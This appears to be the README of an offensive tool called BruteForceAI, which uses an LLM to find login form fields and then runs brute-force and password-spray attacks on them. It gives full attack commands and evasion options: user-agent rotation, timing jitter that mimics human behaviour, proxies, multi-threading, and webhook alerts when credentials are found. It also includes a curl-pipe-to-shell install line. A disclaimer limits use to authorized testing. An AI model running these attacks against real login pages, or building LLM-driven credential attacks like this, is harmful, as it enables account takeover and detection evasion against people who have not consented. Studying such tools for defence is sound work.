
Advanced LLM-powered brute-force tool combining AI intelligence with automated login attacks
Features β’ Installation β’ Usage β’ Examples β’ Configuration β’ License
BruteForceAI is an advanced penetration testing tool that revolutionizes traditional brute-force attacks by integrating Large Language Models (LLM) for intelligent form analysis. The tool automatically identifies login form selectors using AI, then executes sophisticated multi-threaded attacks with human-like behavior patterns.
- Stage 1 (AI Analysis): LLM analyzes HTML content to identify login form elements and selectors
- Stage 2 (Smart Attack): Executes intelligent brute-force attacks using AI-discovered selectors
- Multi-threaded execution with synchronized delays
- Bruteforce & Password Spray attack modes
- Human-like timing with jitter and randomization
- User-Agent rotation for better evasion
- Webhook notifications (Discord, Slack, Teams, Telegram)
- Comprehensive logging with SQLite database
- LLM-powered form selector identification (Ollama/Groq)
- Automatic retry with feedback learning
- DOM change detection for success validation
- Smart HTML content extraction
- Bruteforce Mode: Try all username/password combinations
- Password Spray Mode: Test each password against all usernames
- Multi-threaded execution (1-100+ threads)
- Synchronized delays between attempts for same user
- Random User-Agent rotation
- Configurable delays with jitter
- Human-like timing patterns
- Proxy support
- Browser visibility control
- Real-time webhook notifications on success
- Comprehensive SQLite logging
- Verbose timestamped output
- Success exit after first valid credentials
- Skip existing attempts (duplicate prevention)
- Output capture to files
- Colorful terminal interface
- Network error retry mechanism
- Force retry existing attempts
- Database management tools
- Automatic update checking from mordavid.com
# Python 3.8 or higher
python --version
# Install Playwright browsers
playwright install chromium
pip install -r requirements.txt
Required packages:
playwright
- Browser automationrequests
- HTTP requestsPyYAML
- YAML parsing for update checks
# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh
# Pull recommended model
ollama pull llama3.2:3b
- Get API key from Groq Console
- Use with
--llm-provider groq --llm-api-key YOUR_KEY
Ollama (Local):
llama3.2:3b
- Default, good balance of speed and qualityllama3.2:1b
- Fastest, smaller model for quick analysisqwen2.5:3b
- Alternative with good performance
Groq (Cloud):
llama-3.3-70b-versatile
- Default & Best - Latest model with superior quality (1 attempt)llama3-70b-8192
- Fast and reliable alternative (1 attempt)gemma2-9b-it
- Lightweight option, good for simple forms (1 attempt)llama-3.1-8b-instant
-β οΈ Not recommended (rate limiting issues, 3+ attempts)
# Best quality (recommended for complex forms)
python main.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY
# Fast and reliable
python main.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY
# Lightweight for simple forms
python main.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY
# Local processing (no API key needed)
python main.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
python main.py analyze --urls urls.txt --llm-provider ollama
python main.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10
python main.py <command> [options]
analyze
- Analyze login forms with LLMattack
- Execute brute-force attacksclean-db
- Clean database tablescheck-updates
- Check for software updates
# Step 1: Analyze forms
python main.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
# Step 2: Attack with 20 threads
python main.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2
python main.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--mode passwordspray \
--threads 15 \
--delay 10 \
--jitter 3 \
--success-exit \
--user-agents user_agents.txt \
--verbose \
--output results.txt
python main.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--discord-webhook "https://discord.com/api/webhooks/..." \
--slack-webhook "https://hooks.slack.com/services/..." \
--threads 10
python main.py analyze \
--urls targets.txt \
--show-browser \
--browser-wait 5 \
--debug \
--llm-provider ollama
# Check for software updates
python main.py check-updates
# Check with output to file
python main.py check-updates --output update_check.txt
# Check for updates manually (same as automatic but can save to file)
python main.py check-updates
# Check with output to file
python main.py check-updates --output update_check.txt
# Skip version check completely for faster startup
python main.py analyze --urls targets.txt --skip-version-check
python main.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check
# Also works as global flag (before subcommand)
python main.py --skip-version-check analyze --urls targets.txt
Parameter | Description | Default |
---|---|---|
--llm-provider |
LLM provider (ollama/groq) | ollama |
--llm-model |
Model name | llama3.2:3b (ollama), llama-3.3-70b-versatile (groq) |
--llm-api-key |
API key for Groq | None |
--selector-retry |
Retry attempts for selectors | 10 |
--force-reanalyze |
Force re-analysis | False |
Parameter | Description | Default |
---|---|---|
--mode |
Attack mode (bruteforce/passwordspray) | bruteforce |
--threads |
Number of threads | 1 |
--delay |
Delay between attempts (seconds) | 0 |
--jitter |
Random jitter (seconds) | 0 |
--success-exit |
Stop after first success | False |
--force-retry |
Retry existing attempts | False |
Parameter | Description | Default |
---|---|---|
--dom-threshold |
DOM difference threshold | 100 |
--retry-attempts |
Network retry attempts | 3 |
Parameter | Description | Default |
---|---|---|
--user-agents |
User-Agent file | None |
--proxy |
Proxy server | None |
--show-browser |
Show browser window | False |
--browser-wait |
Wait time when visible | 0 |
Parameter | Description | Default |
---|---|---|
--verbose |
Detailed timestamps | False |
--debug |
Debug information | False |
--output |
Save output to file | None |
--no-color |
Disable colors | False |
Parameter | Description |
---|---|
--discord-webhook |
Discord webhook URL |
--slack-webhook |
Slack webhook URL |
--teams-webhook |
Teams webhook URL |
--telegram-webhook |
Telegram bot token |
--telegram-chat-id |
Telegram chat ID |
BruteForceAI includes simple update checking to keep you informed about new releases.
- Checks for updates every time the tool starts
- Shows one-line status: either "β up to date" or "π Update available"
- Quick 3-second timeout - no delays
- Silent network failure (no error messages)
- Skip with:
--skip-version-check
flag
# Check for updates manually (same as automatic but can save to file)
python main.py check-updates
# Check with output to file
python main.py check-updates --output update_check.txt
- Up to date:
β BruteForceAI v1.0.0 is up to date
- Update available:
π Update available: v1.0.0 β v1.1.0 | Download: https://github.com/...
- Timeout: 3 seconds maximum
- No delays: Instant if network unavailable
- No spam: One simple line per check
Updates are checked against: https://mordavid.com/md_versions.yaml
BruteForceAI uses SQLite database (bruteforce.db
) with two main tables:
Stores LLM analysis results for each URL.
Logs all attack attempts with results and metadata.
# Clean all data
python main.py clean-db
# View database
sqlite3 bruteforce.db
.tables
.schema
- Create webhook in Discord server settings
- Use webhook URL with
--discord-webhook
- Create Slack app with incoming webhooks
- Use webhook URL with
--slack-webhook
- Add "Incoming Webhook" connector to Teams channel
- Use webhook URL with
--teams-webhook
- Create bot with @BotFather
- Get bot token and chat ID
- Use
--telegram-webhook TOKEN --telegram-chat-id CHAT_ID
FOR EDUCATIONAL AND AUTHORIZED TESTING ONLY
This tool is designed for:
- β Authorized penetration testing
- β Security research and education
- β Testing your own applications
- β Bug bounty programs with proper scope
DO NOT USE FOR:
- β Unauthorized access to systems
- β Illegal activities
- β Attacking systems without permission
Users are responsible for complying with all applicable laws and regulations. The author assumes no liability for misuse of this tool.
- β¨ Initial release
- π§ LLM-powered form analysis
- β‘ Multi-threaded attacks
- π Advanced evasion techniques
- π Webhook notifications
- π Comprehensive logging
- π Automatic update checking
Mor David - Offensive Security Specialist & AI Security Researcher
I specialize in offensive security with a focus on integrating Artificial Intelligence and Large Language Models (LLM) into penetration testing workflows. My expertise combines traditional red team techniques with cutting-edge AI technologies to develop next-generation security tools.
- LinkedIn: linkedin.com/in/mor-david-cyber
- Website: www.mordavid.com
Join our cybersecurity community for the latest in offensive security, AI integration, and advanced penetration testing techniques:
π t.me/root_sec
RootSec is a community of security professionals, researchers, and enthusiasts sharing knowledge about:
- Advanced penetration testing techniques
- AI-powered security tools
- Red team methodologies
- Security research and development
- Industry insights and discussions
This project is licensed under the Non-Commercial License.
- β Permitted: Personal use, education, research, authorized testing
- β Prohibited: Commercial use, redistribution for profit, unauthorized attacks
- π Requirements: Attribution, same license for derivatives
See the LICENSE.md file for complete terms and conditions.
- Playwright Team - For the excellent browser automation framework
- Ollama Project - For making local LLM deployment accessible
- Groq - For high-performance LLM inference
- Security Community - For continuous feedback and improvements
β Star this repository if you find it useful!
Made with β€οΈ by Mor David | Join RootSec Community